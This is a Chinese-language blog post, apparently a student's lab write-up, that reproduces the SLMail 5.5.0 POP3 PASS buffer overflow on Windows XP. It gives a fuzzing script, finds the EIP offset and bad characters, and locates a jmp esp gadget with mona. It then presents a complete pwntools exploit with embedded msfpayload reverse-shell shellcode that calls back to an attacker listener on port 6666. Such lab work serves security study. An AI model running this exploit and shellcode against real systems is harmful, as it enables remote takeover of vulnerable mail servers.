Fork me on GitHub

Windows系统安全之SLMail缓冲区溢出漏洞复现

在我大二时任技术交流协会信安部部长时我曾给学弟学妹们介绍过这个关于SLMail的缓冲区溢出漏洞,给他们讲的原因是想扩展一下他们的知识面,现在我再重新温习一下这个漏洞来跟现阶段学习的Linux缓冲区漏洞做一个对比


环境搭建

首先需要搭建实验环境,系统可选用Windows_XP,因为Windows7及以上的系统内置了多种安全措施使得此漏洞难以利用,本实验用到的软件及下载链接如下:

SLMail 5.5.0 Mail Server

ImmunityDebugger_1_85_setup

mona.py

其中软件的安装都按照默认安装即可,mona.py需要放到Immunity Debugger的安装目录中:\Immunity Inc\Immunity Debugger\PyCommands

至此环境配置完成,查看一下邮件的相关服务是否已经开启

1
netstat -nao

1
2
3
win+r
向运行窗口中输入services.msc
查看相关服务的状态

可以看到服务已经启动

附加进程到调试器

此时打开Immunity Debugger,点击菜单栏中的File选中Attach

选择如图的进程,此进程监听的端口包含110端口

附加此进程后调试器界面如下

此调试器的各个窗口我就不多介绍了,跟其他调试器大同小异

附加到进程后此进程会进入暂停状态,需要点击运行按钮使此进程正常进行

远程连接,进行FUZZ测试

程序正常运行后可以打开Kali Linux对此进程进行远程连接

我们已知此程序的PASS字段存在缓冲区溢出漏洞,现需确认产生溢出的位置,可使用脚本对不同长度的PASS字段的值进行FUZZ测试,当socket连接失败时及代表程序崩溃,已产生溢出,也可以使用pattern_creat产生足够长度的字符串

FUZZ脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#/usr/bin/python
#coding:utf-8
from pwn import *

payload="PASS "
len=0
while 1:
r=remote('192.168.229.134',110)
r.send("USER administrator\n")
print r.recv()
payload+="A"*200
len+=200
print "sending payload length: "+str(len)
r.send(payload)
r.send("\n")
print r.recv()

运行此脚本后发现当程序发送2600个A之后卡住,回到WindowsXP查看调试器发现程序已经崩溃,且EIP内全部填充为了41即A的Hex ASCII码

因此可以确定溢出处位置再2600-2700之间,此时我们需要重新启动此服务,我们可以借助pattern_creatpattern_offset这两个指令来进一步确定溢出点

这两个指令可以在/usr/share/metasploit-framework/tools/exploit/目录下找到,也可以直接用GDB

即可生成2700个具有位置特征的字符串

使用此字符串填充PASS字段:

发送后发现程序无回显

进入Windows_XP中发现程序再次崩溃且EIP寄存器中的内容为45417845

而寄存器采用大端序存储数据即高字节保存在内存的低地址,因而EIP寄存器中的内容是45 78 41 45,按照ASCII转化为字符为:ExAE

使用pattern_offset指令来找到这个字符串的位置

到这里我们已经确定了溢出产生的位置,另外我们可以看到ESP寄存器中的数据填充着2610个字符之后的字符,选中ESP并点击右键

可以看到如下内容

可以通过起始地址和结束地址计算出ESP寄存器的大小为424字节,完全可以放进去一个shellcode,因此我们可以把Shellcode放到ESP里面,但是我们在编写shellcode的时候需要注意“坏字符”的影响,即有的字符在系统中有不同的涵义如:

  1. NULL byte(0x00)空字符,用于终止字符串的拷贝操作

  2. return(0x0D)回车操作,表示POP3 PASS命令输入完成

这些坏字符可能会对shellcode的正常运行和写入造成影响,我们需要把这些坏字符给找出来,通过连续发送0x00~0xff之间的字符,再对比ESP寄存器中的数据,找出如下的坏字符:

0A0D00

坏字符找到了我们可以把去掉坏字符的shellcode放到ESP中,但是ESP的地址会发生变化,我们无法通过将ESP的地址EIP中来完成指令的跳转,因此我们需要找到一个跳板,即再内存中寻找一个位置固定的指令jmp esp,然后通过这个指令使得ESP中的代码得到执行,这里就用到mona.py了

寻找跳板

使用!mona modules指令查看模块

如图示,这是进程的安全措施,我们需要找没有安全措施保护的模块,即值为False

其中Rebase表示重启后是否会改变地址、False即不改变;SafeSEHASLRNXCompat这三项都是Windows相关的安全机制;OS Dll表示是否是OS自带的库。即前四列选False,最后一列选True。

符合以上条件的模块有三个,从这三个模块中逐一尝试寻找jmp esp指令

可使用/usr/share/metasploit-framework/tools/exploit 目录下的nasm_shell.rb来得到jmp esp的十六进制形式

通过指令

1
!mona find -s "\xff\xe4" -m SLMFC.dll

SLMFC.dll寻找FFE4,共找到19个结果:

右键选中并复制此指令的地址

将此地址粘贴到脚本内

1
2
3
4
5
6
7
8
9
10
11
12
13
#/usr/bin/python
#coding:utf-8
from pwn import *

payload="PASS "
r=remote('192.168.229.134',110)
print r.recv()
r.send("USER administrator\n")
print r.recv()
payload+="A"*2606+p32(0x5F4A358F)+"b"*400+"\n"
r.send(payload)
print payload
print r.recv()

运行脚本

此时EIP指向ESP,说明这个地址的jmp esp产生了效果,我们可以将shellcode放入ESP中了

Shellcode生成及利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 ⚡ root@kali  /usr/share/framework2  ./msfpayload win32_reverse EXITFUNC=thread LHOST=192.168.229.136 LPORT=6666 R | ./msfencode -b "\x00\x0a\x0d"
[*] Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x3a\x2f".
"\x54\x83\xeb\xfc\xe2\xf4\x8a\x50\xc4\x19\x9e\xc3\xd0\xab\x89\x5a".
"\xa4\x38\x52\x1e\xa4\x11\x4a\xb1\x53\x51\x0e\x3b\xc0\xdf\x39\x22".
"\xa4\x0b\x56\x3b\xc4\x1d\xfd\x0e\xa4\x55\x98\x0b\xef\xcd\xda\xbe".
"\xef\x20\x71\xfb\xe5\x59\x77\xf8\xc4\xa0\x4d\x6e\x0b\x7c\x03\xdf".
"\xa4\x0b\x52\x3b\xc4\x32\xfd\x36\x64\xdf\x29\x26\x2e\xbf\x75\x16".
"\xa4\xdd\x1a\x1e\x33\x35\xb5\x0b\xf4\x30\xfd\x79\x1f\xdf\x36\x36".
"\xa4\x24\x6a\x97\xa4\x14\x7e\x64\x47\xda\x38\x34\xc3\x04\x89\xec".
"\x49\x07\x10\x52\x1c\x66\x1e\x4d\x5c\x66\x29\x6e\xd0\x84\x1e\xf1".
"\xc2\xa8\x4d\x6a\xd0\x82\x29\xb3\xca\x32\xf7\xd7\x27\x56\x23\x50".
"\x2d\xab\xa6\x52\xf6\x5d\x83\x97\x78\xab\xa0\x69\x7c\x07\x25\x79".
"\x7c\x17\x25\xc5\xff\x3c\xb6\x92\xca\xdc\x10\x52\x35\x5e\x10\x69".
"\xa6\xb5\xe3\x52\xc3\xad\xdc\x5a\x78\xab\xa0\x50\x3f\x05\x23\xc5".
"\xff\x32\x1c\x5e\x49\x3c\x15\x57\x45\x04\x2f\x13\xe3\xdd\x91\x50".
"\x6b\xdd\x94\x0b\xef\xa7\xdc\xaf\xa6\xa9\x88\x78\x02\xaa\x34\x16".
"\xa2\x2e\x4e\x91\x84\xff\x1e\x48\xd1\xe7\x60\xc5\x5a\x7c\x89\xec".
"\x74\x03\x24\x6b\x7e\x05\x1c\x3b\x7e\x05\x23\x6b\xd0\x84\x1e\x97".
"\xf6\x51\xb8\x69\xd0\x82\x1c\xc5\xd0\x63\x89\xea\x47\xb3\x0f\xfc".
"\x56\xab\x03\x3e\xd0\x82\x89\x4d\xd3\xab\xa6\x52\xc0\x9a\x96\x5a".
"\x7c\xab\xa0\xc5\xff\x54";

使用以上命令生成去除坏字符的shellcode,得到完整的攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#/usr/bin/python
#coding:utf-8
from pwn import *

shellcode = (
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x76\x3a\x2f"+
"\x54\x83\xeb\xfc\xe2\xf4\x8a\x50\xc4\x19\x9e\xc3\xd0\xab\x89\x5a"+
"\xa4\x38\x52\x1e\xa4\x11\x4a\xb1\x53\x51\x0e\x3b\xc0\xdf\x39\x22"+
"\xa4\x0b\x56\x3b\xc4\x1d\xfd\x0e\xa4\x55\x98\x0b\xef\xcd\xda\xbe"+
"\xef\x20\x71\xfb\xe5\x59\x77\xf8\xc4\xa0\x4d\x6e\x0b\x7c\x03\xdf"+
"\xa4\x0b\x52\x3b\xc4\x32\xfd\x36\x64\xdf\x29\x26\x2e\xbf\x75\x16"+
"\xa4\xdd\x1a\x1e\x33\x35\xb5\x0b\xf4\x30\xfd\x79\x1f\xdf\x36\x36"+
"\xa4\x24\x6a\x97\xa4\x14\x7e\x64\x47\xda\x38\x34\xc3\x04\x89\xec"+
"\x49\x07\x10\x52\x1c\x66\x1e\x4d\x5c\x66\x29\x6e\xd0\x84\x1e\xf1"+
"\xc2\xa8\x4d\x6a\xd0\x82\x29\xb3\xca\x32\xf7\xd7\x27\x56\x23\x50"+
"\x2d\xab\xa6\x52\xf6\x5d\x83\x97\x78\xab\xa0\x69\x7c\x07\x25\x79"+
"\x7c\x17\x25\xc5\xff\x3c\xb6\x92\xca\xdc\x10\x52\x35\x5e\x10\x69"+
"\xa6\xb5\xe3\x52\xc3\xad\xdc\x5a\x78\xab\xa0\x50\x3f\x05\x23\xc5"+
"\xff\x32\x1c\x5e\x49\x3c\x15\x57\x45\x04\x2f\x13\xe3\xdd\x91\x50"+
"\x6b\xdd\x94\x0b\xef\xa7\xdc\xaf\xa6\xa9\x88\x78\x02\xaa\x34\x16"+
"\xa2\x2e\x4e\x91\x84\xff\x1e\x48\xd1\xe7\x60\xc5\x5a\x7c\x89\xec"+
"\x74\x03\x24\x6b\x7e\x05\x1c\x3b\x7e\x05\x23\x6b\xd0\x84\x1e\x97"+
"\xf6\x51\xb8\x69\xd0\x82\x1c\xc5\xd0\x63\x89\xea\x47\xb3\x0f\xfc"+
"\x56\xab\x03\x3e\xd0\x82\x89\x4d\xd3\xab\xa6\x52\xc0\x9a\x96\x5a"+
"\x7c\xab\xa0\xc5\xff\x54")

payload="PASS "
r=remote('192.168.229.134',110)
print r.recv()
r.send("USER administrator\n")
print r.recv()
payload+="A"*2606+p32(0x5F4A358F)+"A"*8+shellcode+"\n"
'''在shellcode之前添加8个字节以保证shellcode的完整性'''
r.send(payload)
print payload
print r.recv()

在本地6666端口监听,运行此脚本得到反弹的shell:

漏洞利用成功!🔥

总结

  • 缓冲区溢出是一个经典而危害巨大的漏洞,通过重温这个漏洞,我对Windows的安全机制及漏洞利用方式又有了新的认识。

  • 脚本不是拿来复制的,而是要自己学会写,要会根据实际情况灵活变通。

  • 细心,再从GitHub上下载mona的时候我用系统自带的笔记本粘贴mona结果在immunity中无法使用,因为粘贴的不完整,需要用notepad等编辑器粘贴
  • 安全是一个在不断的技术进步中逐渐完善的点,攻防是在不断地博弈中愈发精彩的舞曲,有趣!🤩
您的支持是我最大的动力🍉